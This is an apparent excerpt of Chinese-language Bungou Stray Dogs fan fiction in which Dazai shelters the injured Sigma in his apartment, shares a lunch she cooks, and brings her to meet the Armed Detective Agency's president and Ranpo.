然而,身为前顶尖医生的敏锐观察力,让森鸥外立刻分辨出这红润并非健康的血色,而是身体在抵抗炎症与创伤时,勉力支撑的信号。 紧接着,他的目光落定在西格玛肩上。 那件棕色短外套尺寸明显偏大,风格冷硬粗粝,与少女单薄纤细的身形格格不入。 那是中原中也的衣服。 这个认知让森鸥外眼底的笑意更深,像投入石子的古潭,漾开层层意味深长的涟漪。 不仅如此,太宰治手臂挂着的白色染血外套,显然也是这位西格玛小姐的吧。 就在这时,太宰治脚步一错,状似无意地挪了一步,恰恰挡住了森鸥外打量西格玛的大部分视线。 他脸上挂着那副惯常的、让人捉摸不透的笑容:“森先生,一直站着说话多累啊。而且,我们这里可是有两位急需休息的伤员哦?” 森鸥外的目光从太宰治肩头掠过,再次落回西格玛身上,这一次,他眼中的兴味几乎要满溢出来。 红苹果? 不,不仅仅是。 一个能让中原中也主动递出外套、让太宰治下意识做出保护姿态的“未知”,一个牵动了费奥多尔神经的“变数”…… 这哪里是寻常的苹果。 这分明是悬在枝头、散发着禁忌诱惑的禁果。 美丽,脆弱,或许带着未明的毒性,却足以让任何洞察其特殊价值的人,产生伸手采摘、或至少掌控其坠落轨迹的欲望。 森鸥外脸上的笑容丝毫未变,甚至更加温和亲切。 “太宰君说得对,是我疏忽了。” 他微微侧身,做出邀请的手势,“医疗部已经准备好了。西格玛小姐,请先好好休养。关于之后的事情……我们,慢慢再谈。” 他的话语一如既往地得体周到,然而那萦绕在西格玛身上的目光,却如蛛丝般轻柔而粘稠,带着港口□□首领特有的、深不见底的考量与掌控欲。 晨风掠过直升机坪,扬起森鸥外的红围巾和西格玛肩头外套的一角。 在横滨港特有的、混杂着海水与钢铁气息的空气里,一种新的、更加复杂的棋局,似乎才刚刚拉开序幕。 “医疗就不麻烦森先生了。” 太宰治的话像一片羽毛,轻轻落下,却带着不容置喙的质地。 他依旧挡在西格玛身前,隔开了森鸥外那带着评估与兴味的视线,脸上的笑容分毫未变,语气甚至称得上轻快: “毕竟,武装侦探社那边,已经有与谢野医生在了呢。” 这句话说得轻巧,却是一个清晰无误的拒绝。 拒绝港口□□的医疗介入,拒绝森鸥外借此机会进一步接触和观察西格玛。 他将西格玛的归属,明确划向了武装侦探社的势力范围——或者说,至少暂时划离了港口□□的掌控。 森鸥外脸上的笑容没有丝毫裂纹,反而像是听到了什么有趣的事情,眼底掠过一丝了然的微光。 他微微颔首,语调带着恰到好处的遗憾,却又仿佛早有预料:“是吗?那真是遗憾。与谢野晶子医生的医术,我自然是信得过的。” 他的目光再次试图越过太宰治的肩膀,落在西格玛苍白却染着病态红晕的脸上,那目光如手术刀般精准,又带着欣赏艺术品般的玩味。 “只是,西格玛小姐看起来确实需要立刻休息。” 太宰治仿佛没听见他话语里未尽的意思,他忽然侧过身,不再完全遮挡西格玛,而是面向她,自然而然地伸出了自己的手。 那只手修长,骨节分明,掌心向上,是一个邀请的姿态。 他的声音比刚才低沉了些,少了些许轻浮,多了点平铺直叙的认真。 鸢色的眼睛注视着西格玛有些茫然和疲惫的淡粉色眼眸: “西格玛,没有地方住的话,先来我家吧。” 这句话没有询问“愿不愿意”,也没有解释“为什么”,只是一个简单的陈述和提议。 在经历了天空赌场的覆灭、默索尔的生死逃脱、一连串的追杀与逃亡,以及此刻站在敌对组织首领面前的无措之后,这个提议突兀地出现,像黑暗中忽然递过来的一根绳索。 西格玛看着他伸出的手,又抬眸对上他的眼睛。 那双眼睛里映着晨光和她小小的、狼狈的倒影,复杂难辨,却似乎……没有恶意。 对她来说,去哪里都一样。 天空赌场没了,天哀五人不是归处,费奥多尔和果戈里身边更是深渊。 世界之大,并无她的容身之所,有的只是下一个不得不去的地点,下一个不得不面对的未知。 既然如此。 眼前这个人,至少从结果上看,至今为止没有真正伤害过她。 甚至在刚才,替她挡开了那道令人不适的审视目光。 西格玛的睫毛轻轻颤了颤。 她慢慢抬起自己的手,指尖有些冰凉,带着虚弱的微颤,轻轻搭在了太宰治温热的掌心上。 “……嗯。”她极轻地应了一声,声音低得几乎被楼顶的风吹散。 有个容身之处就好。 哪怕只是暂时的,哪怕前方可能依旧是迷雾重重。 继续往前走吧,无论终点在哪里。 太宰治的手指微微收拢,握住了她冰凉的指尖,力道不重,却足够稳当。 他没有再看森鸥外,只是拉着西格玛,转身准备离开直升机坪。 在他们身后,中原中也自始至终沉默着。 他看着太宰治伸出手,看着西格玛将指尖放上去,看着那简单的动作里蕴含的应允与交付。 帽檐下的蓝眼睛深邃如海,所有的情绪都被压在那片暗色之后。 他没有出声,也没有动作。 只是在太宰治牵着西格玛转身迈步时,他默然地移动脚步,从原本略微靠近西格玛的位置,走到了森鸥外的身旁站定。 黑色的礼帽压得更低了些,彻底遮住了眉眼,只露出紧抿的唇线和线条利落的下颌。 他像一尊沉默的守卫雕像,立于首领身侧,姿态恭敬,却无形中拉开了与前方那两人的距离。 森鸥外将这一切尽收眼底。 他脸上的笑意越发深邃,目光饶有兴致地追随着太宰治和西格玛离开的背影,又扫过身旁一言不发、气息却微不可察凝滞了一瞬的中原中也。 红围巾在愈发明亮的晨光中,色泽鲜艳得近乎妖异。 “真是有趣的发展呢。”他低声自语,声音轻得只有近旁的中原中也或许能听见,那语气里充满了纯粹的、属于观察者和棋手的愉悦,“看来,横滨又要迎来新的‘故事’了。” 风继续吹过楼顶,卷走直升机残留的余温。 一场无声的交接与划界,在这清晨的港口□□总部顶楼,悄然完成。 而新的篇章,正随着太宰治牵着西格玛消失在通往楼内的入口处,缓缓掀开一角。 太宰治牵着西格玛的手,一路穿过港口□□大楼顶层冰冷空旷的走廊。 他的步伐不紧不慢,恰到好处地配合着西格玛有些虚浮的脚步。 掌心相贴的温度在微凉的空气中显得格外清晰,那温暖干燥的触感,像一根若有若无的线,将西格玛从直升机坪上那令人窒息的审视目光中,暂时牵引出来。 直到步入安静的电梯厢内,金属门无声滑合,将外界彻底隔绝,西格玛才仿佛从某种恍惚的状态中惊醒。 她垂下眼,看着两人依旧交握的手。 太宰治的手比她大上一圈,轻松地包裹着她的手指。 这触碰本身并不让人讨厌,甚至提供了某种支撑,但在密闭的、只有他们两人的空间里,这份过于直接的连接忽然让她感到一丝无所适从。 她轻轻地、但很坚定地,抽回了自己的手。 指尖脱离温暖的刹那,清晨残留的寒意似乎又卷土重来。 太宰治的手在半空中停顿了微不可察的一瞬,随即自然垂落身侧。 他脸上没什么表情,只是微微偏过头,鸢色的眼眸望向电梯门上倒映出的、微微变形的两人身影。 无人按下的电梯自动向一楼降落,轻微的失重感弥漫开来。 他不动声色地将指尖微微收紧,几不可察地轻轻蜷缩了一下,仿佛在无声地回顾那转瞬即逝的温度与触感。 ——纤细、冰凉,带着细微的颤抖,像受惊小鸟脆弱的骨骼。 电梯平稳抵达一楼,“叮”的一声轻响,门向两侧滑开。 外面是港口□□总部庄严肃穆到有些压抑的大堂,光线从高窗透入,照亮光洁如镜的大理石地面。 零星的几名黑西装成员见到太宰治,均训练有素地颔首致意,目光在西格玛身上迅速掠过,不带任何多余的好奇或停留。 太宰治绅士地侧身,示意西格玛先行。两人之间恢复了一种礼貌而疏离的社交距离,仿佛刚才那段短暂的牵手从未发生。 他们就这样一前一后,平静地穿过空旷的大理石地面,走出那栋黑色巨兽般的建筑。 室外阳光渐盛,彻底驱散了晨雾。 横滨街道的气息扑面而来,混杂着海风、车辆尾气和远处港口的喧嚣,与默索尔冰冷的监狱、天空赌场虚幻的繁华都截然不同。 这是一种真实的、嘈杂的、属于人间的味道。 太宰治在路边抬手,很快拦下一辆出租车。 他拉开后排车门,手掌习惯性地虚挡在门框上方,看着西格玛沉默地坐进去,自己才从另一侧上车,对司机报出一个地址。 车辆汇入车流。 西格玛靠着车窗,目光有些空茫地掠过窗外流动的街景,陌生的店铺招牌,步履匆匆的行人,寻常的城市景象。 太宰治也没有说话,只是同样望着自己那一侧的窗外,手指在膝盖上有一搭没一搭地轻点着,似乎在思考什么,又或许只是放空。 车程不算太长,出租车最终停在一栋看起来颇为老式,但维护得不错的公寓楼前。 太宰治了付钱,领着西格玛上楼,用钥匙打开三楼尽头的一扇门。 玄关处立着一个简约的金属衣架,太宰治随手将臂弯里那件染血的白色外套搭了上去。 衣角垂落,暗红的血渍在浅色衣架旁格外显眼。 公寓内部出乎意料地……整洁,甚至可以说是空旷。 一种缺乏长期生活痕迹的、近乎临时居所的整洁。 色调是简单的米白与浅灰,家具很少,除了必备的沙发、茶几、矮柜,几乎没有多余的装饰品或杂物,透着一种随用随取的临时感。 空气里有极淡的灰尘气味,混杂着一丝说不清的、类似绷带或药水的冷冽气息。 “暂时先在这里休息吧。”太宰治说着,走到客厅墙边,拿起电视遥控器按了一下。 屏幕亮起,传出某个晨间节目的欢快音乐和主持人元气十足的对话声。 太宰治将遥控器放在沙发前的茶几上。 “无聊的话可以看看这个。” 接着,他转向西格玛,语气寻常地交代:“我现在需要去一趟侦探社,处理一些事情,顺便请与谢野医生过来一趟。” 他顿了顿,补充道,“你身上的伤,她处理起来比我认识的所有医生都可靠。” 西格玛点点头,示意自己明白了。 她的目光落在电视屏幕上,那里正在播放一段电视剧的片段:穿着围裙的女性站在玄关,对着即将出门的男性微微鞠躬,口中的告别语清晰又温和。 太宰治没再多言,转身走向卧室去换衣服。 西格玛依言在沙发上坐下,背脊却依旧绷得紧紧的,连带着指尖都泛着点不易察觉的凉意。 电视的声音填满了空旷的客厅,她却没太看进去具体内容,只任由那些平静的日常对话与温馨画面,像一层轻柔的背景音,在空气里缓缓萦绕。 西格玛的思绪轻轻飘散开来。 温馨的,寻常的家…… 那是她一直渴望的东西。 过了一会儿,太宰治从卧室出来,已换上了那身熟悉的沙色风衣,里面是简单的衬衫马甲和长裤,看起来和平时没什么不同。 他走向玄关,弯腰穿鞋。 西格玛的视线从电视屏幕上移开,静静落在他的背上。 脑海里回放着刚才看到的画面,那句告别的话语似乎成了此刻唯一可参考的模板。 在这个全然陌生的地方,面对这个算不上熟悉、却给了她暂时容身之处的人,她是不是也应该说点什么? 在他拉开门,即将踏出去的那一刻,西格玛听见自己的声音响起,音量不高,甚至有些生涩,但终究清晰地模仿了出来: “……路上小心。” 太宰治正要迈出的脚步顿住了。 他扶着门框,缓缓转过头。 晨光从门外走廊的窗户斜射进来,给西格玛的侧脸镀上一层浅金色的光晕,纤长的眼睫轻轻垂着,又微微颤动了一下,像停栖在暖阳里的蝶翼。 他脸上的表情有一瞬间的空白,像是没听清,又像是听到了什么完全出乎意料的内容。 那短暂的凝滞像被按下的暂停键,连走廊里掠过的风都仿佛慢了半拍。 太宰治看向西格玛,少女安静地坐在沙发上,眸光澄澈,安静地望着他,全然不知自己方才那句生疏的叮嘱,在他心底掀起了怎样的波澜。 鸢色的眼眸里,惯常笼罩的迷雾似乎被吹开了一角,露出底下一点干净的、微亮的怔忡。 随即,那惯常的、带着些微轻浮和疏离的笑意重新浮现,但眼底深处却飞快地掠过一丝极其复杂的东西。 他微笑着,向屋内的西格玛点了点头。 “啊,谢谢。” 门被轻轻带上,锁舌发出“咔哒”一声轻响,将他与公寓内部隔绝开来。 太宰治站在走廊里,并没有立刻离开。 他背靠着冰冷的门板,脸上方才那礼貌的微笑渐渐淡去,转化为一种更私人、更难以解读的神情。 鸢色的眼眸深处,有什么细碎的东西,正在无声地微微漾动。 刚才那句生疏却认真的“路上小心”,配合着清晨阳光下少女坐在他客厅沙发上的身影…… 简直就像自己的妻子一样。 这个念头自然而然地浮上来,没有任何讽刺或解构的意味,纯粹得让太宰治自己都有些意外。 紧接着涌上心头的,是一股清晰、简单、甚至让他有些陌生的暖流。 是愉悦。 非常简单的愉悦。就像偶然看见一朵花开在路边,或者喝到一杯恰到好处的热茶。 无关算计,无关西格玛背后的重重谜团,更无关她身上的种种价值。 仅仅是因为在这个他通常只视作落脚点的、缺乏生活气息的冰冷空间里,有人用略显笨拙的语调,给了他一句最平常不过的、属于“家”的送别。 这种平凡的、几乎被他遗忘在记忆角落的互动,此刻由这个来历成谜、伤痕累累的少女重现,带着一种奇异的、直击心底的力量。 它不沉重,不复杂,只是轻轻地、确切地,碰触到了他心底某个连他自己都很少探访的角落。 心房在一瞬间被柔软的撞击了一下。 太宰治低低地、无声地吸了一口气。 原来如此。 被这样嘱咐的感觉……是这样的。 心底那点愉悦像小小的气泡,轻盈地升腾起来。 他的嘴角,无法抑制地向上扬起一个真实的、明朗的弧度。 简直就像我们之间,有着这样亲密而寻常的关系。 这错觉本身,就足够令人心生欢喜。 太宰治低低地笑了一声,声音轻得消散在空旷的走廊里。 然后才直起身,整理了一下风衣的领子,将方才那一刻的涟漪妥善收敛,迈着惯常轻快的步伐,走向楼梯间。 甚至在走下台阶时,嘴里开始哼起一段完全不成调子、却明显洋溢着欢快气息的小曲。 阳光透过楼道的窗户,落在他的沙色风衣上。 那向来带着几分疏离的背影,似乎也浸染了这个上午,明亮而温和的色泽,而后渐渐消失在楼梯的转角处。 公寓内,随着太宰治的离开,空气骤然安静了许多,只有电视的声音,还在不知疲倦地继续着。 西格玛依旧坐在沙发上,目光落在紧闭的房门上,肩上披着的外套,残留的暖意还未散去。 她不太确定自己刚才那句话是否恰当,但从太宰治最后的反应来看,似乎……并没有出错。 她缓缓收回目光,重新投向喧闹的电视屏幕,身体一点点陷入柔软的沙发靠背。 伤口在隐隐作痛,高烧带来的疲惫感如潮水般涌上。 在这个暂时属于她的、安静的陌生空间里,她终于允许自己稍稍放松那一直紧绷的神经。 等待她的,会是什么呢? 医生的治疗,武装侦探社的询问,还是更多未知的漩涡? 西格玛不知道。 电视里变换的光影和声音成了模糊的背景,思绪时而飘远,时而凝滞。 她只是这样坐着,仿佛时间也失去了意义。 与此同时,在另一边。 横滨的上午,阳光尚未驱散晨间所有的清冽。 武装侦探社的会议室里,百叶窗半开,光线明亮而直接,照亮空气中缓慢浮动的微尘,却驱不散室内沉淀的肃穆与紧绷后的余韵。 太宰治推开会议室门时,里面只有福泽谕吉和江户川乱步两人。 社长端坐于主位,晨光勾勒出他如剑般挺直的脊背,双手交叠置于光洁的桌面。 江户川乱步少见地没有碰任何零食,他抱着胳膊靠在窗边,侦探帽檐下的翠绿眼眸盯着窗外某处虚空,镜片后的目光锐利而专注。 听到开门声,两人的目光同时投来。 “社长,乱步先生。”太宰治走进来,反手带上门,脸上是惯常的、略显微妙的轻松神情。 “就你一个?”江户川乱步转过头,目光在太宰治身后空荡荡的地方扫了一下,语气是陈述而非疑问,“那位‘西格玛小姐’呢?伤势重到连楼都下不了?”他的观察力永远直接切入核心。 太宰治在桌边坐下,叹了口气,这叹息里有恰到好处的无奈与实际考量:“伤得不轻,高烧反复,从默索尔到东京再到横滨,连番折腾,铁打的人也撑不住。我把她暂时安置在我那里了,至少能让她不用立刻面对新环境和新面孔,缓一口气。” 他看向福泽谕吉,补充道,“港口□□那边,森先生倒是‘非常关切’,不过医疗支援被我挡回去了。” 福泽谕吉微微颔首,对这个处理未置可否,先问及关键:“伤势具体情况?” “外伤缝合了,但需要与谢野医生级别的专家确认。麻烦的是内里的消耗和感染引起的高热,需要静养和精准治疗。”太宰治汇报得简洁,“我离开时,让她休息,打开了电视……算是有点背景音,不至于太安静。” “明智,但不够。”江户川乱步接口,他走回桌边,手指无意识地点着桌面,“费奥多尔在机场的‘表演’和‘留言’,社长已经知道了。‘要感谢西格玛’,‘照顾好我的西格玛’……” 他复述着这些话,翠绿的眼睛看向福泽谕吉,“虽然那家伙的心思像缠在一起的毛线球,但有一点很清楚:西格玛是导致他临时改变计划——很可能是放弃某种更极端方案——的关键变量。这个‘变量’现在落在了我们,或者说,落在了太宰手里。” 他停顿了一下,继续说:“与谢野医生被政府紧急调去治疗福地先生,也是这个新局面的连锁反应之一。源一郎前辈他……” 江户川乱步难得迟疑了一下,没有说完,但意思已然明了。

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“我明白。她需要休息,但上午见面总好过让她拖着病体等到下午。不如我现在回去接她过来?趁她精神尚可,也让社长您亲自见见。之后与谢野医生若能从政府那边脱身,也能立刻接手治疗。” “可以。”福泽谕吉拍板,“上午带她过来。与谢野那边我会保持联系。” “了解。”太宰治起身,准备离开去接人。 江户川乱步在他拉开门时,忽然开口,声音不高却清晰:“太宰。” 太宰治回头。 江户川乱步推了推眼镜,镜片后的绿眸直视着他:“告诉她,社里不会吃人。还有,”他语气微妙地顿了一下,“‘路上小心’。” 太宰治闻言,嘴角几不可察地向上弯了一下,随即恢复如常,应了一声“知道了”,便带上门离开了。 会议室重新安静下来。福泽谕吉的目光落在桌前,久久未动。 江户川乱步则重新看向窗外,上午的阳光逐渐变得有些刺眼。 “乱步,”福泽谕吉忽然低声问,“依你所见,费奥多尔那句‘我的西格玛’,究竟是何意味?” 江户川乱步没有立刻回答,过了好几秒,才轻声说:“是‘占有’,也是‘标记’。但更深的……像是发现了计划外、却又无法舍弃的‘关键’。” “社长,等您见到她,或许能感受到。她身上……有一种很特别的‘空洞’和‘不确定性’,对于费奥多尔那种追求‘绝对’或‘戏剧’的家伙来说,可能比任何既定的珍宝都更吸引人。” 他转过头,看向福泽谕吉,“而我们,现在要接手这份‘吸引’了。” 福泽谕吉不再言语,只是挺直的身姿在上午的光线中,如同即将迎接新一轮未知风雨的礁石。 决定已下,而真正的考验,将在那个名为西格玛的少女踏入这间会议室时,正式开始。 —————— 不知过了多久,西格玛有些茫然地眨了眨眼,目光无意识地扫过电视柜上方的一个简单时钟。 ……居然已经过去快二个小时了。 她完全没有意识到时间的流逝。 这种对时间的“失感”让她微微一怔,随即是更深一层的空洞。 在天空赌场,每一分每一秒都经过精密计算。在逃亡路上,时间则是生存的倒计时。 而此刻,时间只是无声流淌的背景。 西格玛撑着沙发扶手,有些缓慢地站起身。腹部的伤口在动作时传来清晰的刺痛,但尚在可以忍受的范围内,不影响基本的活动。 站在这间空旷客厅的中央,她忽然感到一种无所适从。 电视里的喧闹更凸显了公寓的寂静和……冷清。 西格玛的视线不由自主地转向厨房的方向。想了想,她迈步走了过去。 厨房和客厅一样简洁,但基本的厨具和调味料一应俱全,摆放得井井有条,同样缺乏频繁使用的烟火气。 她打开冰箱,冷气拂面。里面东西不多:几瓶矿泉水,一小盒牛奶,一袋未开封的速冻煎饺,角落里还有两个土豆和几枚鸡蛋。 看着这些简单的食材,西格玛沉默了片刻。 然后,她挽起了身上过于宽大的衬衫袖子,开始动手。 西格玛将食材一一拿出,先将土豆洗净,再去皮,用厨房里找到的擦板细细擦成丝。接着打入鸡蛋,加入少许盐和黑胡椒。 动作并不十分娴熟,甚至有些生疏的谨慎,但步骤清晰。 平底锅加热,倒入少许油,将混合好的土豆蛋液摊入锅中。 滋啦—— 热油与食材接触的声响,伴随着逐渐弥漫开的、质朴的香气,瞬间打破了公寓里那种不近人情的寂静。 这气味简单,却带着某种令人安心的、属于“食物”和“烹饪”的温暖质感。 土豆蛋饼煎至两面金黄,被她小心地盛入盘中。 接着,她又开火,将那袋速冻煎饺也煎上了。 油花细密地跳动,饺子的底部逐渐变得焦黄酥脆,另一种更鲜活的香气叠加起来。 快到中午的时候,门口传来了钥匙转动的声音。 门被推开,太宰治的声音同时响起,带着一丝外出归来的随意:“我回来——” 话语戛然而止。 他的鼻翼微微动了动,空气中弥漫的、温暖的食物香气是如此陌生,却又如此直接地侵入感官。 他循着香气和隐约的响动看向厨房的方向。 西格玛正背对着他,站在灶台前,微微俯身,用锅铲小心地翻动着平底锅里的煎饺。 晨光已经转为明亮的午前阳光,透过厨房的小窗,在她浅色的发丝和专注的侧脸上镀了一层柔和的微光。 她身上那件不合身的白衬衫,袖口被仔细挽起,腰后为了行动方便打了个小小的结,竟莫名有了几分居家的随意感。 真的像妻子一样呢。 这个念头再次自然而然地浮现在太宰治脑海,比清晨时更加具体、鲜明。 眼前的画面,归家、香气、在厨房忙碌的纤细身影,构成了一幅完整得近乎虚幻的日常图景。 一种混合着惊讶、新奇和更深厚愉悦的情绪,悄然在他心底蔓延开来。 西格玛察觉到门口的动静和停顿,转过身来。 看到是他,她似乎松了一口气,随即脸上掠过一丝类似“使用了别人东西”的不安。 西格玛将煤气灶的火关小,声音平静却带着一丝斟酌:“我用了冰箱里的食材……希望你不会介意。” 太宰治脸上的笑容绽开,那是毫无阴霾、甚至带着点孩子气般明亮喜悦的笑容。 他走进来,语气轻快而真诚:“能吃到西格玛小姐做的午餐,真的是我的幸运啊,我怎么会介意呢?” 他的目光扫过料理台上金黄的土豆蛋饼和锅里滋滋作响的煎饺,鸢色的眼睛里漾着真实的好奇与欣赏,“看起来就非常美味。” 午餐被简单摆上桌。两人相对而坐,共享这顿意料之外的餐食。 太宰治尝了一口土豆蛋饼,外酥内软,蛋香和土豆的清甜混合得恰到好处,调味简单却凸显了食材的本味。 他又夹起一个煎饺,火候掌握得不错,底部焦脆,内馅多汁。 “很好吃。”他真诚地称赞道,抬眼看向对面的西格玛,“没想到西格玛小姐还有这样的手艺。” 西格玛没有回应他的夸奖,只是垂着眼帘,小口小口、安静地吃着自己盘子里的食物。 她的吃相很斯文,甚至有些过于小心翼翼,仿佛进食本身也是一项需要集中注意力完成的任务。 但太宰治注意到,她吃得并不慢,或许是真的饿了,也或许……是这熟悉食物带来的些许慰藉? 午餐在一种相对宁静的氛围中进行。 快吃完时,太宰治像是想起什么,用闲聊般的口吻开口道:“对了,西格玛,有件事要告诉你。与谢野医生今天可能没法过来给你治疗了。” 西格玛咀嚼的动作微微一顿,抬起眼看向他,淡粉色的眼眸里带着疑问。 太宰治放下筷子,神色比刚才稍微认真了些,但语气依然平稳:“她被临时召去处理另一项紧急治疗了——福地樱痴。这么说或许你不知道是谁,就是‘神威’。” 西格玛的瞳孔骤然收缩。 她当然知道“神威”是谁。天人五衰的首领,那个带来毁灭与疯狂的身影,即使未曾近距离接触,但这个名号本身就如同沉重的阴霾。 一瞬间,煎饺的香气似乎都染上了一丝冰冷。腹部的伤口也仿佛刺痛得更厉害了。 “放轻松。”太宰治的声音适时响起,温和却带着一种奇异的稳定力量。 他看着西格玛瞬间绷紧的肩膀和苍白的脸色,神色复杂了一瞬,但很快恢复如常,“现在的他,已经被政府控制起来了。不会再造成威胁。” 西格玛紧绷的身体缓缓地、极其细微地放松了一点。 她长长的睫毛颤动了几下,然后,什么也没问,只是低低地“啊”了一声,仿佛只是接收到了一个需要消化的信息。 西格玛重新低下头,继续安静地、一口一口地,吃完了盘子里剩下的食物。 “……我明白了。”过了一会儿,她极轻地说道,声音近乎自语。 午餐在一种相对宁静的氛围中结束。 最后一口食物咽下,西格玛习惯性地想收拾碗筷,手指刚触到冰凉的瓷盘边缘—— “我来吧。” 太宰治的声音轻松地响起,同时,他的手更快一步,自然地将两人面前的碗碟叠放起来。 他站起身,朝西格玛笑了笑,那笑容里带着不容拒绝的温和:“西格玛小姐去沙发上休息就好,伤口需要尽量少牵动。这点小事,交给我。” 他说得理所当然,仿佛这本就是他的分内之事。 不等西格玛回应,他已经端着碗碟转身走向厨房的水槽,沙色风衣的袖子被他随意地挽到手肘。 西格玛愣在原地,指尖还残留着盘子的微凉。 她看着太宰治在厨房里熟练地打开水龙头,水流声哗哗响起,他背对着她,开始清洗。 西格玛依言慢慢地走回客厅,在沙发上坐下。 身体陷进柔软的坐垫,伤处的确传来更清晰的疲惫感。 她的目光重新投向那一直开着的电视屏幕,任由里面的影像和声音填充她的视野与听觉,仿佛那是一个可以安全放置注意力的、无需思考的容器。 身体陷在沙发里,伤处的疲惫感真实存在,但她的思绪似乎也随着电视节目的流动而变得平淡。 太宰治的动作算不上特别娴熟,但很从容。水流冲走油渍,洗洁精泛起泡沫,每个盘子都擦的格外仔细。 午后的阳光斜射进厨房的一角,照在他微卷的棕发和专注的侧脸上。 这个在横滨暗世界搅动风云、智谋近乎妖异的男人,此刻正做着最寻常的家务,神情里甚至带着一种近乎悠闲的平静。 自己这样,倒真像是吃完饭后负责善后的丈夫,而受伤休息的西格玛,则像是被照顾着的妻子。 这个认知让太宰治的嘴角不自觉地微微上扬。 水流冲走油渍,泡沫泛起又消失,这份寻常家务里,也被他品出了一丝别样的趣味。 太宰治清洗得很认真,偶尔还拿起盘子对着光检查一下。 厨房里只有水流声、碗碟轻碰声,以及客厅传来的、被墙壁滤得有些模糊的电视声。 这种由简单的劳动、午后阳光和隐约的背景音共同构成的氛围,让他感到一种罕见的、近乎慵懒的平静。 西格玛靠在沙发里,目光没有焦点地落在电视屏幕上。 节目内容似乎并未真正进入她的脑海,她只是看着,听着。 窗外的城市噪音遥远而模糊,厨房里的流水声隐约可闻。 周围喧嚣又安静。 西格玛没有去分析太宰治行为背后的含义。 她只是坐着,看着电视,等待着接下来可能发生的一切。 23. 松懈 午后阳光正好,带着横滨特有的、微咸的海风气息,从窗户缝隙里钻进来。 太宰治洗完碗后,指尖还沾着未擦干的水珠,他擦着手转过身,一眼就看到西格玛安静地坐在沙发上。 电视依旧开着,播放着无关紧要的节目。综艺嘉宾夸张的笑闹声混着背景鼓点,噼里啪啦地撞着耳膜,屏幕上的光影也跟着明明灭灭地流窜。 而她只是望着屏幕,眼神有些空茫,仿佛思绪已经飘远。 西格玛身上还披着那件属于中原中也的棕色外套,衬得她脸色愈发苍白,但那份惊心动魄的美丽却未被伤病完全掩盖。 半白半紫的独特长发垂落肩头,面容精致秀美得如同人偶,纤长的睫毛如蝶翼般在眼下投出浅淡的阴影,眉眼间笼罩着一层近乎易碎的柔和。 在太宰治的眼里,她整个人都像是被阳光镀上了一层虚幻的光晕。 单薄得仿佛一碰就会碎,像误入凡尘的天女。 下一秒就要随着风,随着这漫室的光影,悄然消散。 心底那点说不清道不明的悸动感涌上来,他几乎是下意识地开了口。 “西格玛。” 他唤她,声音里带着一丝自己都未曾察觉的轻缓。 “社长要见你。我们得去一趟武装侦探社。” 西格玛转过头来,淡粉色的眼眸里映出他的身影,还残留着一丝尚未完全消散的恍惚。 “武装侦探社的……社长?”她轻声确认。 “嗯,福泽谕吉社长。” 太宰治点了点头,指尖无意识地摩挲着毛巾上细微的纹路。 天女回应了他。 他的语气里不自觉地添了几分安抚。 “别担心,只是见一面。聊聊你之后的事情。” 西格玛没有多问,只轻轻颔首。 对她而言,去哪里、见谁,似乎并没有什么分别。 她站起身,伤口的隐痛让她动作稍有迟缓,但神情平静。 西格玛垂眸看着肩上那件摇摇欲坠的棕色外套,迟疑了一会,最终还是抬手,将外套从肩头取下,认真地穿在了身上。 再次来到武装侦探社楼下时,已是午后稍晚一些。 走进那栋建筑,氛围与港口□□的冰冷威压截然不同,但也自有一种沉稳的秩序感。 太宰治带着她径直走向会议室。 推开门,午后阳光透过百叶窗,在深色木质桌面上切割出明暗交错的光栅。 空气里有微尘浮动,以及一种紧绷事件过后尚未完全散去的肃穆。 福泽谕吉端坐在主位,腰背挺直如松,周身气场冷凝。 他双手交叠置于膝上,目光沉沉地落在来人身上,不怒自威的气势压得人几乎不敢出声,就像一柄收鞘的利剑。 江户川乱步则靠在窗边的椅子上,双手抱胸,标志性的侦探帽檐下,那双翠绿的眼睛透过镜片,锐利地扫过进门的两人。 他的目光在西格玛身上停顿,掠过她身上那件显然不属于太宰治的棕色外套,眼底闪过一丝了然,随即落在西格玛的脸上。 西格玛下意识地停在太宰治身后半步。 这个空间里的氛围让她本能地绷紧了神经。那是一种沉淀的、带着审视与明确责任感的场域。 “社长,乱步先生。”太宰治的声音打破了寂静,他侧身,将西格玛稍稍让到前面,“这位是西格玛小姐。” 福泽谕吉的目光落在西格玛身上。 那目光沉凝、锐利,带着穿透般的重量,仔细地评估着她的状态、伤势,以及更内在的某些东西。 他看到了她因高烧和疲惫而显露的脆弱,也看到了她眼中那份尚未被彻底摧毁的、属于求生者的韧性。 更让他注意的是,她的眼神深处,意外地有种纯净感。 并非不谙世事的天真,而是一种经历了诸多混乱后,依然没有彻底染上疯狂或算计的底色,像暴风雪后未被污染的雪原。 他微微颔首,声音低沉平稳:“西格玛小姐,请坐。你的伤势是我们首要关心的问题。” 江户川乱步的观察则更为直白而跳跃。他翠绿的眼睛眨了眨,忽然冒出了一句与当前严肃气氛似乎不太搭调的评价:“哇哦,你长得……真像水母一样。” 看到西格玛和太宰治都愣了一下,他撇撇嘴,补充道,“就是那种,在深海里漂着的、半透明又很漂亮的水母,看起来有点脆弱,但说不定有毒哦?” 这话说得随意,却微妙地贴合了西格玛此刻那种美丽、易碎又带着未知特质的状态。 西格玛依言在太宰治拉开的椅子上坐下。 她的目光不自觉地被江户川乱步的眼睛吸引。 那双翠绿色的眼眸,像被春雨彻底洗刷过的新生枝叶,剔透、鲜亮,洋溢着一种近乎蛮横的生命力。 这抹鲜活的翠色,让她有瞬间的怔忪。 记忆深处,另一双绿色的眼睛浮现在脑海——娜塔莉娅,她的小娜塔莎,也有着一双绿眼睛,就像初春的湖水。 两双截然不同的绿眸,却在色彩的共鸣中让她的思绪出现了短暂的偏移。 她望着江户川乱步,眼底却不由自主地漫开一层极淡的、属于遥远过往的怅惘与柔软。 江户川乱步将这一切尽收眼底。 他看得清楚。 她是在看他的眼睛,可那眼神里瞬间漫开的柔软与怀念,分明是透过这相似的翠色,投向了另一个身影。 一丝微妙的、几乎难以察觉的不悦悄然爬上心头。 他叼着不知何时摸出来的棒棒糖,嘴角几不可察地往下撇了撇。 啧,看着他的时候,想的却是别人吗? 不过,这份不悦来得快,去得也快。 因为西格玛很快便从那一瞬的恍惚中回过神来。 睫毛轻轻颤动,她重新聚焦在江户川乱步的眼眸上。 这一次,她的目光变得清晰而直接——那抹翠色是鲜活的、明亮的,带着独属于眼前这个人的蓬勃生机与无所遮蔽的澄澈,与她记忆中静谧的湖绿色截然不同。 同样美丽,却是另一种充满力量感的、让人忍不住心生喜爱的美丽。 这份认知让她眼底的怅惘渐渐褪去。 取而代之的是一种纯粹的、毫无杂质的喜爱,清凌凌地落在他的眼睛上,不再有半分旁骛。 